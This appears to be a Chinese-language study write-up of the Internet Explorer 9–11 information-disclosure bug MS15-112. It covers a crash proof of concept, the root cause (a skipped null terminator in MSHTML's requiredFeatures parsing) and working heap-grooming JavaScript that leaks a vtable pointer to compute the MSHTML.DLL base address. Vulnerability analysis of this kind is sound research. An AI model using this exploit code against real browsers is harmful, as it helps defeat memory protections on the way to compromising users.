自己学习过程中写的记录。。。
前言
Microsoft Internet Explorer 9 through 11 allows remote attackers to obtain sensitive information from process memory via a crafted web site, aka "Internet Explorer Information Disclosure Vulnerability."
0x01 漏洞成因
测试环境:win7 x64
IE10 10.0.9200.16521
漏洞crash POC如下
function trigger() {
var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
polyLine.setAttributeNS(null, 'requiredFeatures', '\n');
}
想要crash浏览器需要开启gflags中的页堆,ust和application verifier
其中application verifier中开启heaps。
最明显的是访问了一个没有数据的地址导致了访问异常,此时进行猜测最可能是UAF,或者是数组访问越界之类问题。
查看一下UST
得到的结果可以比较清晰的看到此块堆块没有释放记录,也就是说不是UAF了,进一步观察可看到访问失败的地址在分配的堆块的末尾也就是 10be4ff0+0x10= 10be5000= edi的位置
此崩溃在位置MSHTML!CDOMStringDataList::InitFromString+0x47处。
通过ida查看此函数的反汇编代码。
先放上伪代码
关键部分的反汇编如下
该函数大致作用就是将用户输入的requiredFeatures值转换到该对象的requiredFeatures数组中。如果中间包含空格,空白等字符的话,将该字符串切割为多项存储为数组中的多项。读取到’\0’时终止。而且通过getItem还可以获取到该数组中的数据。
效果如下图所示
<html>
<script>
function trigger() {
var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
polyLine.setAttributeNS(null, 'requiredFeatures', "adfe 2ade");
var message = "Number of Items: " + polyLine.requiredFeatures.numberOfItems + "\n";
for (var i = 0; i < polyLine.requiredFeatures.numberOfItems; i++) {
message += "Index: " + i + "\nValue: " + polyLine.requiredFeatures.getItem(i) + "\nLength: " + polyLine.requiredFeatures.getItem(i).length + "\n";
}
alert(message);
}
</script>
<body onload="trigger();"></body>
</html>
先进行函数前后的空白判断,从非空白字符开始读取,读到空白字符后停止,然后将中间的不包含空白部分存储。
漏洞的关键部分图中圈出了。举个例子分析下。就如poc中保存的requiredFeatures为’\n’则实际保存后需要处理的字符串实际为”\n\0”。进入流程后先通过IsCharSpaceW判断为空白(注意空格,换行为空白,但是‘\0’不是空白)。
此时保存字符串的指针进行自增操作,指向‘\0’。
然后注意,是指针先自增然后再进行的是否为空的判断。为空停止,但是此时自增之后指针已经不是指向’\0’了,而是指向了该字符串的后一个字符,这样便跳过了终止检测。造成了越界读取,信息泄露。
总结说,就是通过IsCharSpace判断是否为空后处理不当导致可以跳过null终止符造成信息泄露。
0x02 内存布局以及漏洞利用
此漏洞可以用来做信息泄露使用,要达到的目的是越界读取后面的数据,利用思路是读取后面紧邻的对象的虚表,然后通过虚表定位到dll的基地址。
作者使用了MsGestureEvent这个对象来作为读取虚表的对象,此对象长度为0xA0,当分配0xA0长度的字符串作为requiredFeatures的时候不会有额外的垃圾数据来补齐长度。
布局思路为
先创建0x1000个MsGestureEvent对象,此对象每一个大小为0xA0。
然后是这些对象中每隔一个对象释放一个对象,管这个叫make hole,大致效果如下图所示
然后分配0xA0大小的requiredFeatures,会正好分配到上面挖好的hole中。这样通过越界读取就可以获取到后续对象的虚表地址了,通过虚表地址与dll基地址的固定偏移就可以获取到dll基地址了。
大致代码如下
var eventArray = new Array();
var polyLineArray = new Array();
var exploitSuccessful = false;
for (var i = 0; i < 0x1000; i++) {
eventArray[i] = document.createEvent('MsGestureEvent');
}
for (i = 1; i < 0x500; i += 2) {
eventArray[i] = null;
}
CollectGarbage2();
for (i = 0; i < 0x250; i++) {
polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString('A', 0x0A0));
polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString('\n', 0x0A0));
if (polyLineArray[i].requiredFeatures.numberOfItems == 2 && polyLineArray[i].requiredFeatures.getItem(1).length == 4) {
var OOBReadMemory = escape(polyLineArray[i].requiredFeatures.getItem(1));
alert(OOBReadMemory);
var spitValue = OOBReadMemory.split('%');
var CDOMMSGestureEvent_VFTablePointer = parseInt('0x' + spitValue[3].replace('u', '') + spitValue[2].replace('u', ''));
var MSHTMLBaseAddress = CDOMMSGestureEvent_VFTablePointer - offsetOfMSHTMLBaseAddress;
var message = 'MSHTML.DLL Base Address: 0x' + MSHTMLBaseAddress.toString(16);
message += '\n';
message += 'CDOMMSGestureEvent VFTable Pointer: 0x' + CDOMMSGestureEvent_VFTablePointer.toString(16);
alert(message);
exploitSuccessful = true;
break;
}
}
if (!exploitSuccessful) {
window.location.reload();
}
因为在有内存保护的情况下释放掉的对象不会被立即释放,而是放到一个list中等待大小达到了阈值才会释放。
所以在以上代码中使用了CollectGarbage来强制立即释放对象。
执行效果如下
具体利用代码在利用脚本的注释里已经写的很清楚了,我就不过多解释了,详情可以看附件中的注释。
附件:
ms15-112.zip
参考文章
http://www.payatu.com/from-crash-to-exploit/
邮箱:liushenrong@wis-eye.com
[培训]《安卓高级研修班(网课)》月薪三万计划,掌
握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
上传的附件: